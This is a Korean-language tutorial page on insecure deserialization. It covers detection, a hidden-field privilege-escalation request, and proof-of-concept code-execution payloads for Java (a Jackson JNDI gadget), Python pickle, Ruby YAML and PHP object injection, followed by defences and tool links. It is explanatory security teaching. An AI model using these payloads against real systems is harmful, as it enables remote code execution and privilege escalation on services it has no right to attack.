Insecure Deserialization

Introduction

Insecure Deserialization은 직역한 그대로 안전하지 않은 역직렬화를 의미합니다. Deserialization 시 개발자가 의도하지 않은 Object 까지 Deserialize하여 비즈니스 로직상의 문제를 발생시키거나, 조건에 따라서는 어플리케이션이 공격자가 의도한 코드를 수행하게끔 구성할 수 있어 리스크가 높습니다.

먼저 Serialization/Deserialization 을 알아보면 보통 개발 과정에서 메모리에 있는 Object를 파일 등 외부의 데이터로 변환하는 과정을 Serialization, 반대로 파일 등 외부에 있는 데이터를 프로그램 내 Object로 변환하는 과정을 Deserialization이라고 합니다.

Offensive techniques

Detect

Deserialization은 소스코드를 보지 않은 상태에선 명확하게 Deserialization 프로세스라고 확신하기 어렵습니다. 그래서 추측과 테스팅을 통해 이를 식별해야합니다.

기본적으로 Serialization/Deserialization은 Object를 처리하는데 있어 사용됩니다. 간단하게는 Config 부터 사용자 정보 등 여러가지 형태로 사용되고 구조화된 데이터를 Object로 변환해야하기 때문에 Input이 구조화된 데이터일 가능성이 높습니다. (대표적으로 JSON, YAML 등)

Guessing

Object를 조회할 수 있는 기능이 있으면 조금 더 쉽게 식별할 수 있습니다. 만약 사용자 수정하는 API 있다고 가정합시다.

GET /info HTTP/1.1

HTTP/1.1 200 OK
{
	"name":"anna",
	"job":"tester",
	"loginKey":"abcd3452352351asfd"
}

Response에는 사용자 Object에 대한 정보가 내려옵니다. 이 때 사용자 정보 수정 API가

POST /info HTTP/1.1

{"name":"1234"}

Error base

Serialization/Deserialization 과정은 서비스 로직에 중요한 영향을 끼치기 때문에 간접적이던 직접적이던 에러 핸들링이 필요합니다. 그래서 때때로 이러한 에러 정보를 통해서 Deserialization 여부를 체크할 수 있습니다.

아래는 대표적인 Serialization/Deserialization 라이브러리인 fasterxml.jackson의 에러 내용입니다. 이러한 에러들을 통해 json이나 yaml 같은 포맷의 데이터가 Application 내 Object로 Deserialization 하는 것을 알 수 있습니다.

com.fasterxml.jackson.databind.JsonMappingException: 
No suitable constructor found for type 
[simple type, class org.baeldung.jackson.exception.User]:
 can not instantiate from JSON object (need to add/enable type information?)
 at [Source: {"id":1,"name":"John"}; line: 1, column: 2]
        at c.f.j.d.JsonMappingException.from(JsonMappingException.java:148)

WhiteBox Test

Deserialization 하는 함수들이 주요 포인트입니다. 외부의 입력이 해당 함수까지 도달하는지 체크하는 형태로 식별할 수 있습니다. 보통 코드 분석 도구들이 잘 잡아줍니다.

go

err := json.Unmarshal(rawData, &data)

java - jackson

ObjectMapper objectMapper = new ObjectMapper();

보통은 Deserialization 을 생각하면 뭔가 별도의 라이브러리 등이 있을 것 같지만 단순히 JSON Marshal/Unmarshal 또한 대표적인 Serialization/Deserialization 중 하나입니다.

Exploitation

Attack hidden fields

Deserialization은 포맷에 맞는 데이터를 Object로 통째로 변환하기 때문에 이 Object에 어떤 요소가 있느냐에 다라서 보안적인 리스크를 가질 수 있습니다.

만약 아래와 같은 프로필 업데이트 기능이 있다고 가정합시다.

POST /update_profile HTTP/1.1

{"name":"new_name","msg":"Hi"}

만약 백엔드단 처리가 단순히 전달받은 파라미터를 디비에 저장하여 처리하는게 아니라 JSON 데이터 자체를 Deserialization 한다면, 우리는 name과 msg 이외에 값을 같이 전달하여 profile이란 object의 다른 데이터를 수정하려고 시도해볼 수 있습니다.

운이 좋다면, 아래와 같이 hidden fields를 찾고, 이를 반영시켜 권한을 상승하는등 개발자가 의도하지 않은 액션을 수행할 수 있습니다.

POST /update_profile HTTP/1.1

{"name":"new_name","msg":"Hi","admin":true}

Code Execution - Java

이 부분이 Insecure Deserialization 가장 중요한 부분이자, 대표적인 공격 방법입니다.

import java.io.IOException;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonTest {
    public static void main(String[] args) throws JsonParseException, JsonMappingException, IOException {
        
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();

        StringBuilder d = new StringBuilder();
        d.append("[");
        d.append("\"ch.qos.logback.core.db.JNDIConnectionSource\"");
        d.append(",");
        d.append("{");
        d.append("\"jndiLocation\"");
        d.append(":");
        d.append("\"rmi://127.0.0.1:1097/rce\"");
        d.append("}");
        d.append("]");
 
        Object obj = objectMapper.readValue(d.toString(), java.lang.Object.class);
        objectMapper.writeValueAsString(obj);
    }
}

Java 관련 라이브러리는 Gadget 코드의 사이즈가 커서 YsoSerial 같은 도구를 활용하여 Payload Gadget을 만들고 Exploit합니다.

Code Execution - Python

import cPickle
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

Code Execution - Ruby

ruby yaml package

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

Code Execution - PHP

string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

Defensive techniques

Update library

Insecure Deserialization을 통한 Code Execution 등의 이슈는 대부분 Library 단에서 보호로직(e.g Sandboxing)이 미흡한 경우입니다. 가급적 최신버전의 라이브러리를 사용하며 주기적으로 확인하여 업데이트 하는 것이 좋습니다.

Trusted Field Clobbering

Code execution 이외에도 Insecure Deserialization으로 인해 Object 내 의도하지 데이터 변경이 일어날 수 있습니다. 그래서 신뢰할 수 있는 데이터만 Deserialization으로 반영될 수 있도록 구현해야합니다.

가급적 개발 단계에서 이를 주의하여 허용된 Object의 데이터만 변경할 수 있도록 제한이 필요하고, 만약 Insecure Deserialization 취약점이 발견된 상태라면 서비스에서 의도한 데이터 이외에는 수정되지 않도록 변경이 필요합니다.

쓰기전에 한번 더 고민

Serialization/Deserialization을 사용하기 전에 꼭 필요한 부분인지 한번 더 고민해보는게 좋습니다.

Tools

Testing

  • https://github.com/frohoff/ysoserial
  • https://github.com/federicodotta/Java-Deserialization-Scanner/releases
  • https://github.com/mbechler/marshalsec

Mitigation

  • https://github.com/kantega/notsoserial
  • https://github.com/ikkisoft/SerialKiller
  • https://github.com/cschneider4711/SWAT

Articles

References

  • https://portswigger.net/web-security/deserialization
  • https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html